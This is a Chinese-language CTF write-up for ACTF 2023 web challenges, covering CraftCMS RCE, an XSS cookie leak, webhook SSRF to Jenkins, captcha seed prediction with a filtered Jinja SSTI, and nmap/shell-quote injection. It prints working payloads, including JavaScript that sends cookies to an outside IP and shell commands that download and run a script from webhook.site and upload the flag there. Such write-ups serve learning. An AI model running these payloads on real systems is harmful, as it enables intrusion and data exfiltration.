https://su-team.cn/passages/2023-10-28-ACTF/

https://wm-ctf-team.feishu.cn/docx/PLbbdhwdyoAefuxokXwcYppzn1c

https://mp.weixin.qq.com/s?__biz=Mzk0NjM5OTc1NQ==&mid=2247483873&idx=1&sn=3b771293296edae5cf913c2bc85ba1a8&chksm=c307fe85f4707793149c2aeebe76c086e375f9f666c143b68556e5fa358fa62694533cc630e8&mpshare=1&scene=23&srcid=10317I620Rz9DLyGPvjH4heX&sharer_shareinfo=fa0d322996aa33d12e0962e62f42eb67&sharer_shareinfo_first=fa0d322996aa33d12e0962e62f42eb67#rd

craftcms

题目关了 就讲讲思路就行了

这题直接搜就出来poc了

http://www.bmth666.cn/2023/09/26/CVE-2023-41892-CraftCMS%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

这里是可以直接看phpinfo的 这里的话就可以看到一个有imagick这个插件 直接就p牛有一篇文章就是讲的这个

这个插件的话是可以写shell的 这里直接用上面师傅给的poc就行

image-20231031195450270

(这道题的思路其实和之前比赛的哪道题很相似来着 就是有文件包含和文件写入)

得写到tmp目录下 其他目录不可写

这里的话其实pearcmd也行 直接去包含这个pearcmd.php文件 发现有返回结果后 直接去用就行了

1
/usr/local/lib/php/pearcmd.php

看完别人的wp发现 其实session临时文件上传也是可以做的

https://su-team.cn/passages/2023-10-28-ACTF/ 贴个链接 直接看就行了

easy latex

题目环境关了 没办法复现了…………..

image-20231031212656052

其实关键点就在这个地方

这里的话传进来的theme参数可以覆盖掉后后面的URL

image-20231031212910445

这就是关键点了 我们可以起一个服务 来测试/priview这个路由下会不会造成xss

image-20231031213108129

image-20231031213130554

发现是存在这种可能性的

然后我们再来看这个note和share路由

image-20231031213606521

image-20231031213617498

相较于这个note路由 share路由是没有进行校验的 所以我们可以用这个share路由来做

并且id我们是可控的 而且这个req.params是支持url解码的

然后进入到这个visit函数

image-20231031213916915

我们是不能直接外带cookie的 因为设置了这个httpOnly

image-20231031214041569

然后再看这个vip路由 他是回拿着cookie去访问一个网站 并且将响应包返回 这里就可以帮我们把cookie带出来了

所以思路就是

我们通过priview路由测试得知 username可控并且可以xss 那么我们就直接再login路由的时候设置好username(因为再看vip路由的时候 username是从session中取出来的 然后再让其访问vip路由将cookie发送出来就行了)

1
2
3
/share/../preview?tex=awdadawd&theme=//112.124.44.238:8000/a

进行url全编码就行了

恶意js代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
fetch('/login',{
method:"POST",
redirect:"follow",
headers: {
'Content-Type': "application/x-www-form-urlencoded"
},
body:"username=http://114.116.119.253:7777&password=c2ceb7948ba609ad5f728c96cae769ba"
});
console.log('first');
function exp(){
fetch('/vip',{
method:"POST"
})
}
exp()

然后这样就结束了

其他wp也有其他方式的js文件 自己去查来看看就行了

hook

环境也关了………………

这道题的话其实信息检索能力到位的话 是很容易就出的

https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

https://www.youtube.com/watch?v=wrRha2vwv6Q

特别是这个youtube视频 如果当时查到的话必出

webhooks这个东西的话github和gitlab是各有一个 只不过GitHub的是只能post发包 gitlab的话是可以get发包

image-20231031220135615

就是这个玩意

image-20231031220915012

gitlab里面也是有一个webhooks

就是现在服务器上搭建一个flask服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask, redirect, request
from urllib.parse import unquote

app = Flask(__name__)

@app.post('/redirect')
def perform_redirect():
redirect_url = request.args.get('redirect_url')
if redirect_url:
return redirect(redirect_url, code=302)
else:
return "Missing 'redirect_url' parameter", 400

if __name__ == '__main__':
app.run("0.0.0.0", port =1234, debug=True)

然后再使用gitlab的webhooks发包

1
http://101.42.39.110:1234/redirect?redirect_url=题目地址

然后就会返回告诉你

image-20231031222011605

这次的话就可以直接贴内网地址了 http://jenkins:8080/

1
http://101.42.39.110:1234/redirect?redirect_url=题目地址&redirect_url=http://jenkins:8080/

然后就会返回jenkins的版本号 然后我们直接去找poc打就出了

CVE-2019-100030洞是这个 接下去找这个poc来打就ok了

Story

这个题考的就是之前p牛发的文章里的那个jumpserver随机数预测

漏洞点就在这个key处

image-20231031222936757

random.randint(1,100)这个代码的话是生成1-100之间的随机数 并且这个time.time()的话是生成时间戳

key的话是时间戳加上随机数 这样是可以爆破出来的

image-20231031223548962

访问一次captcha的话就会返回code 并且种子是全局播种的

那么我们就可以去看看其code是怎么生成的

image-20231031223640032

image-20231031223648359

就是随机生成四位随机数

爆破seed脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
while True:
now = int(time.time())
session = requests.session()
all = 0
payload = '123'
res = session.get(url+'captcha')
for i in range(1,100):
gen = Captcha(200, 80,now+i)
buf , captcha_text = gen.generate()
if(buf.getvalue()==res.content):
print(now+i)
seed = now+i
print('success')

然后在获取到seed后 如何使必须得成为vip才能进行story参数的传参

image-20231101103601451

image-20231101102802056

这里是第二获取到这个code 因为外面已经获取到了这个seed 那么这个code我们在本地就可以运行得出

然后传上去就能获取到vip了

在成为vip之后 我们就可以进行story的传参

image-20231101103650543

image-20231101103726674

这个对参数的过滤很有意思 是在6条规则中随机挑选3条 那么就存在三条一样的情况 那么我们就直接在本地进行测试 看看第几次的时候才能存在三条规则一样的情况 (这里选的是第一条)

然后我们在写脚本循环访问x-1次 然后最后一次的时候再用payload去打就行了

image-20231101103843923

ssti的payload

1
{% set zero = (self|int) %}{% set one = (zero**zero)|int %}{% set two = (zero-one-one)|abs %}{% set four = (two*two)|int %}{% set five = (two*two*two)-one-one-one %}{% set three = five-one-one %}{% set nine = (two*two*two*two-five-one-one) %}{% set seven = (zero-one-one-five)|abs %}{% set space = self|string|min %}{% set point = self|float|string|min %}{% set c = dict(c=aa)|reverse|first %}{% set bfh = self|string|urlencode|first %}{% set bfhc = bfh~c %}{% set slas = bfhc%((four~seven)|int) %}{% set yin = bfhc%((three~nine)|int) %}{% set xhx = bfhc%((nine~five)|int) %}{% set right = bfhc%((four~one)|int) %}{% set left = bfhc%((four~zero)|int) %}{% set but = dict(buil=aa,tins=dd)|join %}{% set imp = dict(imp=aa,ort=dd)|join %}{% set pon = dict(po=aa,pen=dd)|join %}{% set so = dict(o=aa,s=dd)|join %}{% set ca = dict(ca=aa,t=dd)|join %}{% set flg = dict(fl=aa,ag=dd)|join %}{% set ev = dict(ev=aa,al=dd)|join %}{% set red = dict(re=aa,ad=dd)|join %}{% set bul = xhx~xhx~but~xhx~xhx %}{% set ini = dict(ini=aa,t=bb)|join %}{% set glo = dict(glo=aa,bals=bb)|join %}{% set itm = dict(ite=aa,ms=bb)|join %}{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~flg~yin~right~point~red~left~right %}{% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}{% if f == bul %}{% for a,b in (v|attr(itm))() %}{% if a == ev %}{{b(pld)}}{% endif %}{% endfor %}{% endif %}{% endfor %}

testminic (用来判断什么时候存在三条一样的rule1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import random

rule = [
['\\x','[',']','.','getitem','print','request','args','cookies','values','getattribute','config'], # rule 1
['(',']','getitem','_','%','print','config','args','values','|','\'','\"','dict',',','join','.','set'], # rule 2
['\'','\"','dict',',','config','join','\\x',')','[',']','attr','__','list','globals','.'], # rule 3
['[',')','getitem','request','.','|','config','popen','dict','doc','\\x','_','\{\{','mro'], # rule 4
['\\x','(',')','config','args','cookies','values','[',']','\{\{','.','request','|','attr'], # rule 5
['print', 'class', 'import', 'eval', '__', 'request','args','cookies','values','|','\\x','getitem'] # rule 6
]

# Make waf more random
def transfrom(number):
a = random.randint(0,20)
b = random.randint(0,100)
return (a * number + b) % 6

def singel_waf(input, rules):
input = input.lower()
for rule in rules:
if rule in input:
return False
return True

def minic_waf(input):
waf_seq = random.sample(range(21),3)
result_2 = None
result_1 = None
result_3 = None
for index in range(len(waf_seq)):
waf_seq[index] = transfrom(waf_seq[index])
if index == 0:
result_1 = rule[waf_seq[index]]
elif index == 1:
result_2 = rule[waf_seq[index]]
else:
result_3 = rule[waf_seq[index]]
if(result_1==result_2 ==result_3==['\\x','[',']','.','getitem','print','request','args','cookies','values','getattribute','config']):
print(result_3)
return '1'
if not singel_waf(input, rule[waf_seq[index]]):
return False
return True

最终payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import requests
import time
import random
from utils.captcha import Captcha
from utils.testminic import *

def generate_code(length: int = 4,z=0):
characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
return ''.join(random.choice(characters) for _ in range(length))

url = 'http://124.70.33.170:23001/'
url = 'http://127.0.0.1:5000/'



while True:
now = int(time.time())
session = requests.session()
all = 0
payload = '123'
res = session.get(url+'captcha')
for i in range(1,100):
gen = Captcha(200, 80,now+i)
buf , captcha_text = gen.generate()
if(buf.getvalue()==res.content):
print(now+i)
seed = now+i
print('success')
gen = Captcha(200, 80,seed)
buf , captcha_text = gen.generate()
code = generate_code()
minic_waf(payload)


x = 0
while True:
x+=1
if minic_waf(payload) == '1':
print(x)
break
if(x>10):
print("more than 10")
time.sleep(1)
break
print("x_all:"+str(x))
res = session.post(url+'vip',json={"captcha":code})
print(res.cookies)
print("a")
res = session.post(url+'write',json={"story":payload})
print(res.text)
error = []
for i in range(x-1):
res = session.post(url+'write',json={"story":payload})

print(i)
payload = '{% set zero = (self|int) %}{% set one = (zero**zero)|int %}{% set two = (zero-one-one)|abs %}{% set four = (two*two)|int %}{% set five = (two*two*two)-one-one-one %}{% set three = five-one-one %}{% set nine = (two*two*two*two-five-one-one) %}{% set seven = (zero-one-one-five)|abs %}{% set space = self|string|min %}{% set point = self|float|string|min %}{% set c = dict(c=aa)|reverse|first %}{% set bfh = self|string|urlencode|first %}{% set bfhc = bfh~c %}{% set slas = bfhc%((four~seven)|int) %}{% set yin = bfhc%((three~nine)|int) %}{% set xhx = bfhc%((nine~five)|int) %}{% set right = bfhc%((four~one)|int) %}{% set left = bfhc%((four~zero)|int) %}{% set but = dict(buil=aa,tins=dd)|join %}{% set imp = dict(imp=aa,ort=dd)|join %}{% set pon = dict(po=aa,pen=dd)|join %}{% set so = dict(o=aa,s=dd)|join %}{% set ca = dict(ca=aa,t=dd)|join %}{% set flg = dict(fl=aa,ag=dd)|join %}{% set ev = dict(ev=aa,al=dd)|join %}{% set red = dict(re=aa,ad=dd)|join %}{% set bul = xhx~xhx~but~xhx~xhx %}{% set ini = dict(ini=aa,t=bb)|join %}{% set glo = dict(glo=aa,bals=bb)|join %}{% set itm = dict(ite=aa,ms=bb)|join %}{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~flg~yin~right~point~red~left~right %}{% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}{% if f == bul %}{% for a,b in (v|attr(itm))() %}{% if a == ev %}{{b(pld)}}{% endif %}{% endfor %}{% endif %}{% endfor %}'

res = session.post(url+'write',json={"story":payload})
print(res.text)
res = session.get(url+'story')
print("result:")
print(res.text)

if('ACTF' in res.text):
exit(0)

MyGO’s Live!!!!!

这题其实是参考sekaictf的一道题

https://github.com/project-sekai-ctf/sekaictf-2023/tree/main/web/scanner-service/solution

非预期就是靶机有问题 别人解出的flag直接就是会在日志里 然后大家都能看到了

预期解

1
2
3
4
5
6
7
正解
http://192.168.247.18:3333/checker?url=-i%09/flag-????????????????
http://192.168.247.18:3333/checker?url=-i%09/plzfailme

另一种解法:
http://192.168.247.18:3333/checker?url=-i%09/flag-????????????????%09-oN%09public/114.html
http://192.168.247.18:3333/114.html

image-20231101105029814

~Ave Mujica’s Masquerade~

这题的话是上面那题的升级版

只不过是另一个考点

image-20231101105439024

其实重点就是绕过他 image-20231101105542128

是存在一个洞的这个版本

https://wh0.github.io/2021/10/28/shell-quote-rce-exploiting.html 这篇文章看懂就出

payload1

1
2
3
4
5
6
7
1.sh
#!/bin/sh
curl -T /flag-???????????????? http://webhook.site/<id>/

网站执行
http://<url>/checker?url=127.0.0.1:`:`wget$IFS\webhook.site/<id>/$IFS\-O$IFS/tmp/s.sh``:`
http:/<url/checker?url=127.0.0.1:`:`sh$IFS\/tmp/s.sh``:`

payload2

1
2
3
4

http://124.70.33.170:24001/checker?url=:`%3a`mkdir$IFS$1public``%3a%23
http://124.70.33.170:24001/checker?url=:`%3a`find$IFS$1/$IFS$1-name$IFS$1flag-*$IFS$1-exec$IFS$1cp$IFS$1{}$IFS$1./public/6.png$IFS$1\;``%3a%23
http://124.70.33.170:24001/6.png

payload3

1
2
3
4
5
6
7
8
http://124.70.33.170:24001/checker?url=1:`:`sleep$IFS\9``:` 

exp
http://124.70.33.170:24001/checker?url=0%00%3A%60%3A%60python3%24IFS%5C-c%24IFS%5Cexec%28chr%28105%29%2Bchr%28109%29%2Bchr%28112%29%2Bchr%28111%29%2Bchr%28114%29%2Bchr%28116%29%2Bchr%2832%29%2Bchr%28103%29%2Bchr%28108%29%2Bchr%28111%29%2Bchr%2898%29%2Bchr%2859%29%2Bchr%2810%29%2Bchr%28102%29%2Bchr%28108%29%2Bchr%2897%29%2Bchr%28103%29%2Bchr%2895%29%2Bchr%28110%29%2Bchr%2897%29%2Bchr%28109%29%2Bchr%28101%29%2Bchr%2861%29%2Bchr%28103%29%2Bchr%28108%29%2Bchr%28111%29%2Bchr%2898%29%2Bchr%2846%29%2Bchr%28103%29%2Bchr%28108%29%2Bchr%28111%29%2Bchr%2898%29%2Bchr%2840%29%2Bchr%2839%29%2Bchr%2847%29%2Bchr%28102%29%2Bchr%28108%29%2Bchr%2897%29%2Bchr%28103%29%2Bchr%2842%29%2Bchr%2839%29%2Bchr%2841%29%2Bchr%2891%29%2Bchr%2848%29%2Bchr%2893%29%2Bchr%2810%29%2Bchr%28102%29%2Bchr%28100%29%2Bchr%2849%29%2Bchr%2861%29%2Bchr%28111%29%2Bchr%28112%29%2Bchr%28101%29%2Bchr%28110%29%2Bchr%2840%29%2Bchr%28102%29%2Bchr%28108%29%2Bchr%2897%29%2Bchr%28103%29%2Bchr%2895%29%2Bchr%28110%29%2Bchr%2897%29%2Bchr%28109%29%2Bchr%28101%29%2Bchr%2841%29%2Bchr%2859%29%2Bchr%2810%29%2Bchr%28102%29%2Bchr%28100%29%2Bchr%2850%29%2Bchr%2861%29%2Bchr%28111%29%2Bchr%28112%29%2Bchr%28101%29%2Bchr%28110%29%2Bchr%2840%29%2Bchr%2834%29%2Bchr%28112%29%2Bchr%28117%29%2Bchr%2898%29%2Bchr%28108%29%2Bchr%28105%29%2Bchr%2899%29%2Bchr%2847%29%2Bchr%2849%29%2Bchr%2849%29%2Bchr%2852%29%2Bchr%2846%29%2Bchr%28104%29%2Bchr%28116%29%2Bchr%28109%29%2Bchr%28108%29%2Bchr%2834%29%2Bchr%2844%29%2Bchr%2834%29%2Bchr%28119%29%2Bchr%2834%29%2Bchr%2841%29%2Bchr%2859%29%2Bchr%2810%29%2Bchr%28102%29%2Bchr%28100%29%2Bchr%2850%29%2Bchr%2846%29%2Bchr%28119%29%2Bchr%28114%29%2Bchr%28105%29%2Bchr%28116%29%2Bchr%28101%29%2Bchr%2840%29%2Bchr%28102%29%2Bchr%28100%29%2Bchr%2849%29%2Bchr%2846%29%2Bchr%28114%29%2Bchr%28101%29%2Bchr%2897%29%2Bchr%28100%29%2Bchr%2840%29%2Bchr%2841%29%2Bchr%2841%29%2Bchr%2859%29%29%60%60%3A%60
http://124.70.33.170:24001/114.html

//这里是用chr来绕过
ACTF{Th3_only_1_I_c4n_tRUST_is_mySeLf}

https://ml-hacker.github.io/2023/10/31/ACTF/